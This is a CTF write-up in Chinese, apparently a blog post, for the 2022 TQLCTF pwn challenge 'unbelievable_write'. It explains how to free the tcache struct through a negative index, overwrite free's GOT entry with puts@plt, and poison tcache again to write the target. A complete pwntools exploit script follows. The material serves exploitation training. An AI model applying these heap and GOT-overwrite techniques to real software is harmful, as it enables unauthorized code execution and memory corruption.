2022 TQLCTF pwn unbelievable_write

在这里插入图片描述
got表可以覆写
pie也没开

在这里插入图片描述三个功能

1
在这里插入图片描述申请空间 读入内容 释放空间

2
在这里插入图片描述
给释放任意一次堆的机会

在这里插入图片描述
往bss上的target写东西,写上去就成。
我们观察到
free的时候那个chunk的偏移可以输入负值
所以我们直接输入-0x290就可以free掉tcache struct

我们刚开始的想法是直接在struct中填上target处的地址,然后malloc回来改了就行
但是后来发现,因为程序中malloc之后写入内容之后会强制free,这会导致我们malloc的chunk在free的时候报错

尝试在got表中去寻找合适的malloc的位置但是也都失败了

最后决定我们可以直接劫持掉free的got表,直接劫持成puts的plt,让其free的时候仅仅是puts一下。

此时我们可以直接再次覆盖下去,但是要吧里面其他函数的got表都填好
当然我们也可以再次攻击tcache struct,这次就可以直接攻击target,改了就好。

exp

from pwn import*
from ctypes import*

lib = cdll.LoadLibrary('libc.so.6')

context.log_level='debug'
context.arch='amd64'
context.os = "linux"

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()

def debug():
    gdb.attach(r, "b *0x401384\n c\n")
    pause()
    
def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

r = process("./pwn")
elf = ELF('./pwn')

def add(size, content):
    sla("> ", "1")
    sl(str(size))
    sl(content)

def free(num):
    sla("> ", "2")
    sl(str(num))

def success():
    sla("> ", "3")

payload = b"a" * 0x20 + p64(0) + p64(0x91)
add(0x70, payload)
add(0x90, b"aaaa")
free(-0x290)

payload = p64(0x11111111) * 8 + p64(0) * 20 + p64(0x404018)
add(0x280, payload)
#debug()

'''
dq offset free          ; DATA XREF: _free+4↑r
dq offset puts          ; DATA XREF: _puts+4↑r
dq offset write         ; DATA XREF: _write+4↑r
dq offset __stack_chk_fail; DATA XREF: ___stack_chk_fail+4↑r
dq offset setlinebuf    ; DATA XREF: _setlinebuf+4↑r
dq offset alarm         ; DATA XREF: _alarm+4↑r
dq offset read          ; DATA XREF: _read+4↑r
dq offset malloc        ; DATA XREF: _malloc+4↑r
dq offset open          ; DATA XREF: _open+4↑r
dq offset atoi          ; DATA XREF: _atoi+4↑r
dq offset exit          ; DATA XREF: _exit+4↑r
'''

puts_plt = elf.plt['puts']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
malloc_plt = elf.plt['malloc']
open_plt = elf.plt['open']
atoi_plt = elf.plt['atoi']
exit_plt = elf.plt['exit']

add(0xd0, p64(puts_plt) + p64(0x401040))

payload = p64(0x11111111) * 8 + p64(0) * 20 + p64(0x404080)
add(0x280, payload)

add(0xd0, p64(0xdeadbeef))


success()

ti()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值